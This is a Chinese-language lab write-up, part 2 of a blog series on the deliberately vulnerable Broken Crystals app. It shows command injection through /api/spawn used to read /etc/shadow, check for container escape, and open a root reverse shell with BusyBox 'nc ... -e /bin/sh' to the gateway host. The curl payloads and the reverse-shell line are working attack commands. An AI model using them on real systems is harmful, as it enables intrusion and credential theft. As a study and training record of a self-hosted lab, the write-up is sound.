> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# Broken Crystals 實戰筆記 2：從一個 query 參數打到 root reverse shell
- URL: https://taiwanding.com/broken-crystals-shi-zhan-bi-ji-2-cong-yi-ge-query-can-shu-da-dao-root-reverse-shell/
- Published: 2026-07-03T05:45:11.000Z
- Updated: 2026-07-15T02:50:31.000Z
- Author: Kevin Chen
- Tags: machine, broken crystals, #RCE

📚 系列文章 · Broken Crystals 實戰筆記

1. [Part 1：資訊洩漏 → 任意檔案讀取 LFI](https://taiwanding.com/broken-crystals-shi-zhan-bi-ji-1-cong-zi-xun-xie-lou-yi-lu-chuan-dao-ren-yi-dang-an-du-qu/)
2. ▸ Part 2：query 參數 → root reverse shell （本篇）
3. [Part 3：eval SSJI 拿 RCE、XXE](https://taiwanding.com/broken-crystals-shi-zhan-bi-ji-3-eval-ssji-na-rce-yu-du-de-dao-dang-que-da-bu-dong-ssrfde-xxe/)
4. [Part 4：MCP 攻擊 → admin RCE kill chain](https://taiwanding.com/broken-crystals-shi-zhan-bi-ji-4-mcp-gong-ji-shi-zhan-cong-wei-ren-zheng-fang-ke-dao-admin-ti-quan-rce-de-wan-zheng-kill-chain/)

> 接續上一篇，我已經用 `/api/file` 的任意檔案讀取（LFI）把 Broken Crystals 從黑箱變成白箱——後端 NestJS 的編譯後源碼可以隨意讀，這一篇把源碼審計發現的 `/api/spawn` OS 命令注入，一路打到容器內 root 的互動式 reverse shell，並記錄過程中關於「無 shell 命令注入」與「WSL2 反彈 shell」的兩個實用細節。

## 一、白箱定位：源碼一眼看穿命令注入

有了 LFI，讀後端源碼就是抄捷徑，讀 `dist/app.controller.js`，`/api/spawn` 的實作幾乎是明示的：

```js
async getCommandResult(command) {
    return await this.appService.launchCommand(command);   // command 直接進 launchCommand
}

```

搭配 `@Get('spawn')` 與 `@Query('command')`，Swagger 範例還大方寫著 `example: 'ls -la'`，使用者全控的 `command` 直接餵進 `launchCommand`——這根本是設計來被打 RCE 的端點，同一份 controller 其實還躺著 `/api/process_numbers` 的 `eval()` SSJI 與 `/api/metadata` 的 XXE，都是 RCE 等級，這篇先聚焦 `spawn` 這條，其餘之後處理。

## 二、確認命令注入：一發就是 root

先做無害驗證，確認它真的執行系統命令：

```bash
curl -s "http://localhost:3000/api/spawn?command=id"
# uid=0(root) gid=0(root) groups=0(root),...

```

`uid=0(root)`——不只 RCE，還直接是 **root**。

這裡有個值得停下來的對照：先前讀 `/etc/passwd` 時，app 對外顯示是由 `node`（uid 1000）使用者跑的，但 `spawn` 執行 `id` 卻回 root，這代表**這個 nodejs 容器本身是以 root 執行**，是命令注入 + 容器內 root 的雙重問題。

## 三、關鍵特性：`spawn` 不經 shell

拿到 RCE 後的直覺是串接命令，但這裡踩到一個很有代表性的坑：

```bash
curl -s "http://localhost:3000/api/spawn?command=id;whoami;hostname"
# {"error":"spawn id;whoami;hostname ENOENT",...}

```

`ENOENT`（Error NO ENTry）代表找不到該執行檔——注意它把**整串 `id;whoami;hostname` 當成一個命令名**去找，這揭曉了底層實作：它是 Node 的 `spawn(command)`，**沒有經過 shell**。

由此可以判斷命令注入的類型，這在真實滲透很關鍵：

- **有 shell**（`exec("...")` 或 `sh -c`）→ `;`、`&&`、`|`、`$()` 等 shell 元字元有效，可自由串接。
- **無 shell**（`spawn(cmd, args)` 不帶 `{shell:true}`）→ 整串被當成單一執行檔名，元字元沒有意義。

但它並非完全不能帶參數，實測它會用**空格拆分**，第一個當執行檔、其餘當參數：

```bash
curl -s -G "http://localhost:3000/api/spawn" --data-urlencode "command=cat /etc/shadow"
# root:*::0:::::  ... （成功讀到只有 root 能讀的 shadow）

```

所以能力邊界很清楚：**可執行任意「帶空格參數的單一命令」，但不能用元字元串接多命令。**

> 小技巧：命令含空格、特殊字元時，用 `curl -G ... --data-urlencode "command=..."` 讓 curl 自動處理 URL 編碼，不必手動算 `%20`，這在真實 bug bounty 送 payload 時同樣好用。

## 四、容器逃逸偵查：確認天花板

拿到容器內 root，第一個該問的是「能不能逃到宿主機」，逐項偵查：

```bash
# docker.sock 是否被掛入
curl -s -G "http://localhost:3000/api/spawn" --data-urlencode "command=ls -la /var/run/docker.sock"
# ls: /var/run/docker.sock: No such file or directory

# capabilities
curl -s -G "http://localhost:3000/api/spawn" --data-urlencode "command=cat /proc/self/status" | grep -i cap
# CapEff: 00000000a80425fb

```

判讀：

- **沒有 docker.sock** → 最直接的「透過 socket 控制宿主 daemon」逃逸路斷了。
- `**CapEff: a80425fb**` → 這是 Docker 的預設 capability 集，不含 `cap_sys_admin`（特權逃逸最愛的那個），代表這是標準的非特權容器。

結論：容器內雖是 root，但屬標準隔離的非特權容器，逃不到宿主，到容器內 root 就是這條線的天花板——這也是靶場負責任的設計，讓你玩到 root RCE，但不會不小心搞爛宿主機。

## 五、升級 reverse shell

一發一發 curl 很累，且無法串接，升級成互動式 reverse shell 是 RCE 後的標準動作。

### 環境偵查

先看容器有哪些反彈工具（Alpine 極精簡）：

```bash
curl -s -G "http://localhost:3000/api/spawn" --data-urlencode "command=which nc bash sh python3 perl busybox"
# /usr/bin/nc      （只有 nc，其餘皆無）

```

只有 `nc`。再確認它的類型與是否支援 `-e`：

```bash
curl -s -G "http://localhost:3000/api/spawn" --data-urlencode "command=nc --help"
# BusyBox v1.37.0 ... -e PROG Run PROG after connect (must be last)

```

是 BusyBox nc，**而且有 `-e`**（`must be last`，參數要放最尾），這省去了無 `-e` 時要搞 `mkfifo` 管道的麻煩。

### 網路偵查

```bash
curl -s -G "http://localhost:3000/api/spawn" --data-urlencode "command=ip route"
# default via 172.22.0.1 dev eth0

```

`172.22.0.1` 是 Docker 網路閘道，也就是 **WSL2 主機在容器眼中的位址**——reverse shell 就連這個。

### 「無 shell」限制在這裡反而幫了忙

無 `-e` 的反彈 payload 需要 `;`、`|`、`>`、`2>&1` 等元字元，在 `spawn` 下全部失效。但因為這顆 nc 有 `-e`，反彈本身就是一個純空格分隔的命令，不需要任何元字元：

```
nc  172.22.0.1  4444  -e  /bin/sh

```

這正好是 `spawn("nc", ["172.22.0.1","4444","-e","/bin/sh"])` 的天然形狀——`spawn` 的空格拆分反而幫我們把參數分好了。

### Listener 開在 WSL

```bash
# 在 WSL Kali 新分頁
nc -lvnp 4444

```

送 payload：

```bash
curl -s -G "http://localhost:3000/api/spawn" --data-urlencode "command=nc 172.22.0.1 4444 -e /bin/sh"

```

結果：

```
connect to [172.22.0.1] from (UNKNOWN) [172.22.0.7] 35451
id
uid=0(root) gid=0(root) groups=0(root),...

```

容器內 root 互動式 shell 到手。

## 攻擊鏈總結

```
白箱源碼審計 (讀 dist/app.controller.js)
    └─ 定位 /api/spawn 命令注入
         ├─ command=id                → uid=0(root)  (直接 root RCE)
         ├─ 判斷類型：spawn 無 shell   (; 串接 ENOENT，但空格參數可用)
         ├─ 逃逸偵查：無 docker.sock、非特權容器 → 天花板在容器內
         └─ BusyBox nc -e 反彈        → 容器內 root 互動式 shell

```

一個 `?command=` query 參數，經過「確認 RCE → 判斷命令注入類型 → 容器逃逸偵查 → 升級 reverse shell」的完整流程，拿到容器完整控制權，重點不在漏洞本身多簡單，而在拿到 RCE 之後那套系統化的評估與擴大——判斷命令注入是否經 shell、容器能否逃逸、如何在受限環境下彈出互動 shell，這些才是可遷移到真實目標的手感。

*本文為授權範圍內的本機自建靶場測試紀錄，所有內容僅供防禦研究與教育用途。請勿將任何技術用於未授權目標。*